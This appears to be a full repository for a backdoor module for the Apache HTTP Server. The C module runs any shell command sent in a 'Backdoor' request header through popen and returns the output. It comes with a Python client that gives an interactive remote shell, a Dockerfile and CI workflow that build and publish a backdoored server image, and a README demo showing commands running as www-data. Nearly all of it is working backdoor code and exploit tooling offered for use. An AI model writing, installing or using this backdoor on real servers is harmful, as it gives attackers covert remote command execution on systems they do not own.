├── docker-compose.yaml
├── mod_backdoor.o
├── modules.mk
├── Dockerfile
├── exploit.py
├── .gitignore
├── Makefile
├── .github
└── workflows
│ └── docker.yaml
├── mod_backdoor.c
└── README.md
/docker-compose.yaml:
--------------------------------------------------------------------------------
1 | services:
2 | httpd:
3 | build: .
4 | ports:
5 | - "4444:80"
--------------------------------------------------------------------------------
/mod_backdoor.o:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WangYihang/Apache-HTTP-Server-Module-Backdoor/HEAD/mod_backdoor.o
--------------------------------------------------------------------------------
/modules.mk:
--------------------------------------------------------------------------------
1 | mod_backdoor.la: mod_backdoor.slo
2 | $(SH_LINK) -rpath $(libexecdir) -module -avoid-version mod_backdoor.lo
3 | DISTCLEAN_TARGETS = modules.mk
4 | shared = mod_backdoor.la
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM httpd:2.4 AS builder
2 | RUN apt update \
3 | && apt install -y apache2-dev \
4 | && rm -rf /var/lib/apt/lists/*
5 | WORKDIR /app
6 | COPY . .
7 | RUN apxs -i -a -c mod_backdoor.c
8 |
9 | FROM httpd:2.4
10 | COPY --from=builder /usr/local/apache2/modules/mod_backdoor.so /usr/local/apache2/modules/mod_backdoor.so
11 | RUN echo "LoadModule backdoor_module /usr/local/apache2/modules/mod_backdoor.so" >> /usr/local/apache2/conf/httpd.conf
12 |
--------------------------------------------------------------------------------
/exploit.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import sys
3 |
4 |
5 | def exploit(host, port, command):
6 | headers = {"Backdoor": command}
7 | url = f"http://{host}:{port}/"
8 | response = requests.get(url, headers=headers)
9 | text = response.text
10 | print(text)
11 |
12 |
13 | def main():
14 | if len(sys.argv) != 3:
15 | print("Usage : ")
16 | print("\tpython %s [HOST] [PORT]" % (sys.argv[0]))
17 | exit(1)
18 | host = sys.argv[1]
19 | port = int(sys.argv[2])
20 | while True:
21 | command = input("$ ")
22 | if command == "exit":
23 | break
24 | exploit(host, port, command)
25 |
26 |
27 | if __name__ == "__main__":
28 | main()
29 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Prerequisites
2 | *.d
3 |
4 | # Object files
5 | *.o
6 | *.ko
7 | *.obj
8 | *.elf
9 |
10 | # Linker output
11 | *.ilk
12 | *.map
13 | *.exp
14 |
15 | # Precompiled Headers
16 | *.gch
17 | *.pch
18 |
19 | # Libraries
20 | *.lib
21 | *.a
22 | *.la
23 | *.lo
24 |
25 | # Shared objects (inc. Windows DLLs)
26 | *.dll
27 | *.so
28 | *.so.*
29 | *.dylib
30 |
31 | # Executables
32 | *.exe
33 | *.out
34 | *.app
35 | *.i*86
36 | *.x86_64
37 | *.hex
38 |
39 | # Debug files
40 | *.dSYM/
41 | *.su
42 | *.idb
43 | *.pdb
44 |
45 | # Kernel Module Compile Results
46 | *.mod*
47 | *.cmd
48 | .tmp_versions/
49 | modules.order
50 | Module.symvers
51 | Mkfile.old
52 | dkms.conf
53 |
54 | # Apache HTTPd
55 | .libs/*
56 | *.la
57 | *.lo
58 | *.slo
59 |
60 | # Visual Studio Code
61 | .vscode/
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | ##
2 | ## Makefile -- Build procedure for sample backdoor Apache module
3 | ## Autogenerated via ``apxs -n backdoor -g''.
4 | ##
5 |
6 | builddir=.
7 | top_srcdir=/usr/share/apache2
8 | top_builddir=/usr/share/apache2
9 | include /usr/share/apache2/build/special.mk
10 |
11 | # the used tools
12 | APACHECTL=apachectl
13 |
14 | # additional defines, includes and libraries
15 | #DEFS=-Dmy_define=my_value
16 | #INCLUDES=-Imy/include/dir
17 | #LIBS=-Lmy/lib/dir -lmylib
18 |
19 | # the default target
20 | all: local-shared-build
21 |
22 | # install the shared object file into Apache
23 | install: install-modules-yes
24 |
25 | # cleanup
26 | clean:
27 | -rm -f mod_backdoor.o mod_backdoor.lo mod_backdoor.slo mod_backdoor.la
28 |
29 | # simple test
30 | test: reload
31 | lynx -mime_header http://localhost/backdoor
32 |
33 | # install and activate shared object by reloading Apache to
34 | # force a reload of the shared object file
35 | reload: install restart
36 |
37 | # the general Apache start/restart/stop
38 | # procedures
39 | start:
40 | $(APACHECTL) start
41 | restart:
42 | $(APACHECTL) restart
43 | stop:
44 | $(APACHECTL) stop
45 |
--------------------------------------------------------------------------------
/.github/workflows/docker.yaml:
--------------------------------------------------------------------------------
1 | name: Create and publish a Docker image
2 |
3 | # Configures this workflow to run every time a change is pushed to the branch called `release`.
4 | on:
5 | push:
6 |
7 | # Defines two custom environment variables for the workflow. These are used for the Container registry domain, and a name for the Docker image that this workflow builds.
8 | env:
9 | REGISTRY: ghcr.io
10 | IMAGE_NAME: ${{ github.repository }}
11 |
12 | # There is a single job in this workflow. It's configured to run on the latest available version of Ubuntu.
13 | jobs:
14 | build-and-push-image:
15 | runs-on: ubuntu-latest
16 | # Sets the permissions granted to the `GITHUB_TOKEN` for the actions in this job.
17 | permissions:
18 | contents: read
19 | packages: write
20 | #
21 | steps:
22 | - name: Checkout repository
23 | uses: actions/checkout@v4
24 | # Uses the `docker/login-action` action to log in to the Container registry registry using the account and password that will publish the packages. Once published, the packages are scoped to the account defined here.
25 | - name: Log in to the Container registry
26 | uses: docker/login-action@v3
27 | with:
28 | registry: ${{ env.REGISTRY }}
29 | username: ${{ github.actor }}
30 | password: ${{ secrets.GITHUB_TOKEN }}
31 | # This step uses [docker/metadata-action](https://github.com/docker/metadata-action#about) to extract tags and labels that will be applied to the specified image. The `id` "meta" allows the output of this step to be referenced in a subsequent step. The `images` value provides the base name for the tags and labels.
32 | - name: Extract metadata (tags, labels) for Docker
33 | id: meta
34 | uses: docker/metadata-action@v5
35 | with:
36 | images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
37 | # This step uses the `docker/build-push-action` action to build the image, based on your repository's `Dockerfile`. If the build succeeds, it pushes the image to GitHub Packages.
38 | # It uses the `context` parameter to define the build's context as the set of files located in the specified path. For more information, see "[Usage](https://github.com/docker/build-push-action#usage)" in the README of the `docker/build-push-action` repository.
39 | # It uses the `tags` and `labels` parameters to tag and label the image with the output from the "meta" step.
40 | - name: Build and push Docker image
41 | uses: docker/build-push-action@v5
42 | with:
43 | context: .
44 | push: true
45 | tags: ${{ steps.meta.outputs.tags }}
46 | labels: ${{ steps.meta.outputs.labels }}
--------------------------------------------------------------------------------
/mod_backdoor.c:
--------------------------------------------------------------------------------
1 | /*
2 | ** mod_backdoor.c -- Apache sample backdoor module
3 | ** [Autogenerated via ``apxs -n backdoor -g'']
4 | **
5 | ** To play with this sample module first compile it into a
6 | ** DSO file and install it into Apache's modules directory
7 | ** by running:
8 | **
9 | ** $ apxs -c -i mod_backdoor.c
10 | **
11 | ** Then activate it in Apache's apache2.conf file for instance
12 | ** for the URL /backdoor in as follows:
13 | **
14 | ** # apache2.conf
15 | ** LoadModule backdoor_module modules/mod_backdoor.so
16 | **
17 | ** SetHandler backdoor
18 | **
19 | **
20 | ** Then after restarting Apache via
21 | **
22 | ** $ apachectl restart
23 | **
24 | ** you immediately can request the URL /backdoor and watch for the
25 | ** output of this module. This can be achieved for instance via:
26 | **
27 | ** $ lynx -mime_header http://localhost/backdoor
28 | **
29 | ** The output should be similar to the following one:
30 | **
31 | ** HTTP/1.1 200 OK
32 | ** Date: Tue, 31 Mar 1998 14:42:22 GMT
33 | ** Server: Apache/1.3.4 (Unix)
34 | ** Connection: close
35 | ** Content-Type: text/html
36 | **
37 | ** The sample page from mod_backdoor.c
38 | */
39 |
40 | #include "httpd.h"
41 | #include "http_config.h"
42 | #include "http_protocol.h"
43 | #include "ap_config.h"
44 | #include
45 | #include
46 |
47 | /* The sample content handler */
48 | static int backdoor_handler(request_rec *r)
49 | {
50 | /*
51 | if (strcmp(r->handler, "backdoor")) {
52 | return DECLINED;
53 | }
54 | r->content_type = "text/html";
55 |
56 | if (!r->header_only)
57 | ap_rputs("The sample page from mod_backdoor.c\n", r);
58 | */
59 | /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
60 | const apr_array_header_t *fields;
61 | int i;
62 | apr_table_entry_t *e = 0;
63 | char FLAG = 0;
64 | /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
65 |
66 | fields = apr_table_elts(r->headers_in);
67 | e = (apr_table_entry_t *) fields->elts;
68 |
69 | for(i = 0; i < fields->nelts; i++) {
70 | if(strcmp(e[i].key, "Backdoor") == 0){
71 | FLAG = 1;
72 | break;
73 | }
74 | }
75 |
76 | if (FLAG){
77 | char * command = e[i].val;
78 | FILE* fp = popen(command,"r");
79 | char buffer[0x100] = {0};
80 | int counter = 1;
81 | while(counter){
82 | counter = fread(buffer, 1, sizeof(buffer), fp);
83 | ap_rwrite(buffer, counter, r);
84 | }
85 | pclose(fp);
86 | return DONE;
87 | }
88 | return DECLINED;
89 | }
90 |
91 | static void backdoor_register_hooks(apr_pool_t *p)
92 | {
93 | ap_hook_handler(backdoor_handler, NULL, NULL, APR_HOOK_MIDDLE);
94 | }
95 |
96 | /* Dispatch list for API hooks */
97 | module AP_MODULE_DECLARE_DATA backdoor_module = {
98 | STANDARD20_MODULE_STUFF,
99 | NULL, /* create per-dir config structures */
100 | NULL, /* merge per-dir config structures */
101 | NULL, /* create per-server config structures */
102 | NULL, /* merge per-server config structures */
103 | NULL, /* table of config file commands */
104 | backdoor_register_hooks /* register hooks */
105 | };
106 |
107 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Backdoor for Apache HTTP Server
2 |
3 | ## Getting Started
4 |
5 | Starting the exploited demo server in Docker
6 |
7 | ```bash
8 | docker run \
9 | --rm \
10 | --interactive \
11 | --detach \
12 | --tty \
13 | -p \
14 | 4444:80 \
15 | ghcr.io/wangyihang/apache-http-server-module-backdoor:master
16 | ```
17 |
18 | Run the exploit script
19 |
20 | ```bash
21 | python exploit.py 127.0.0.1 4444
22 | ```
23 |
24 | Example:
25 | ```
26 | root@kali:~/backdoor# apxs -i -a -c mod_backdoor.c && service apache2 restart
27 | /usr/share/apr-1.0/build/libtool --mode=compile --tag=disable-static x86_64-linux-gnu-gcc -prefer-pic -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -DLINUX -D_REENTRANT -D_GNU_SOURCE -pthread -I/usr/include/apache2 -I/usr/include/apr-1.0 -I/usr/include/apr-1.0 -I/usr/include -c -o mod_backdoor.lo mod_backdoor.c && touch mod_backdoor.slo
28 | libtool: compile: x86_64-linux-gnu-gcc -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -DLINUX -D_REENTRANT -D_GNU_SOURCE -pthread -I/usr/include/apache2 -I/usr/include/apr-1.0 -I/usr/include/apr-1.0 -I/usr/include -c mod_backdoor.c -fPIC -DPIC -o .libs/mod_backdoor.o
29 | /usr/share/apr-1.0/build/libtool --mode=link --tag=disable-static x86_64-linux-gnu-gcc -Wl,--as-needed -Wl,-z,relro -Wl,-z,now -o mod_backdoor.la -rpath /usr/lib/apache2/modules -module -avoid-version mod_backdoor.lo
30 | libtool: link: rm -fr .libs/mod_backdoor.la .libs/mod_backdoor.lai .libs/mod_backdoor.so
31 | libtool: link: x86_64-linux-gnu-gcc -shared -fPIC -DPIC .libs/mod_backdoor.o -Wl,--as-needed -Wl,-z -Wl,relro -Wl,-z -Wl,now -Wl,-soname -Wl,mod_backdoor.so -o .libs/mod_backdoor.so
32 | libtool: link: ( cd ".libs" && rm -f "mod_backdoor.la" && ln -s "../mod_backdoor.la" "mod_backdoor.la" )
33 | /usr/share/apache2/build/instdso.sh SH_LIBTOOL='/usr/share/apr-1.0/build/libtool' mod_backdoor.la /usr/lib/apache2/modules
34 | /usr/share/apr-1.0/build/libtool --mode=install install mod_backdoor.la /usr/lib/apache2/modules/
35 | libtool: install: install .libs/mod_backdoor.so /usr/lib/apache2/modules/mod_backdoor.so
36 | libtool: install: install .libs/mod_backdoor.lai /usr/lib/apache2/modules/mod_backdoor.la
37 | libtool: finish: PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/sbin" ldconfig -n /usr/lib/apache2/modules
38 | ----------------------------------------------------------------------
39 | Libraries have been installed in:
40 | /usr/lib/apache2/modules
41 |
42 | If you ever happen to want to link against installed libraries
43 | in a given directory, LIBDIR, you must either use libtool, and
44 | specify the full pathname of the library, or use the '-LLIBDIR'
45 | flag during linking and do at least one of the following:
46 | - add LIBDIR to the 'LD_LIBRARY_PATH' environment variable
47 | during execution
48 | - add LIBDIR to the 'LD_RUN_PATH' environment variable
49 | during linking
50 | - use the '-Wl,-rpath -Wl,LIBDIR' linker flag
51 | - have your system administrator add LIBDIR to '/etc/ld.so.conf'
52 |
53 | See any operating system documentation about shared libraries for
54 | more information, such as the ld(1) and ld.so(8) manual pages.
55 | ----------------------------------------------------------------------
56 | chmod 644 /usr/lib/apache2/modules/mod_backdoor.so
57 | [preparing module `backdoor' in /etc/apache2/mods-available/backdoor.load]
58 | Module backdoor already enabled
59 | root@kali:~/backdoor# python exploit.py 127.0.0.1 80
60 | $ whoami
61 | www-data
62 |
63 | $ uname -a
64 | Linux kali 4.13.0-kali1-amd64 #1 SMP Debian 4.13.10-1kali2 (2017-11-08) x86_64 GNU/Linux
65 |
66 | $ exit
67 |
68 | ```
69 |
70 | License
71 | ```
72 | THE DRINKWARE LICENSE
73 |
74 | wrote this file. As long as
75 | you retain this notice you can do whatever you want
76 | with this stuff. If we meet some day, and you think
77 | this stuff is worth it, you can buy me the following
78 | drink(s) in return.
79 |
80 | Red Bull
81 | JDB
82 | Coffee
83 | Sprite
84 | Cola
85 | Harbin Beer
86 | etc
87 | ```
88 |
--------------------------------------------------------------------------------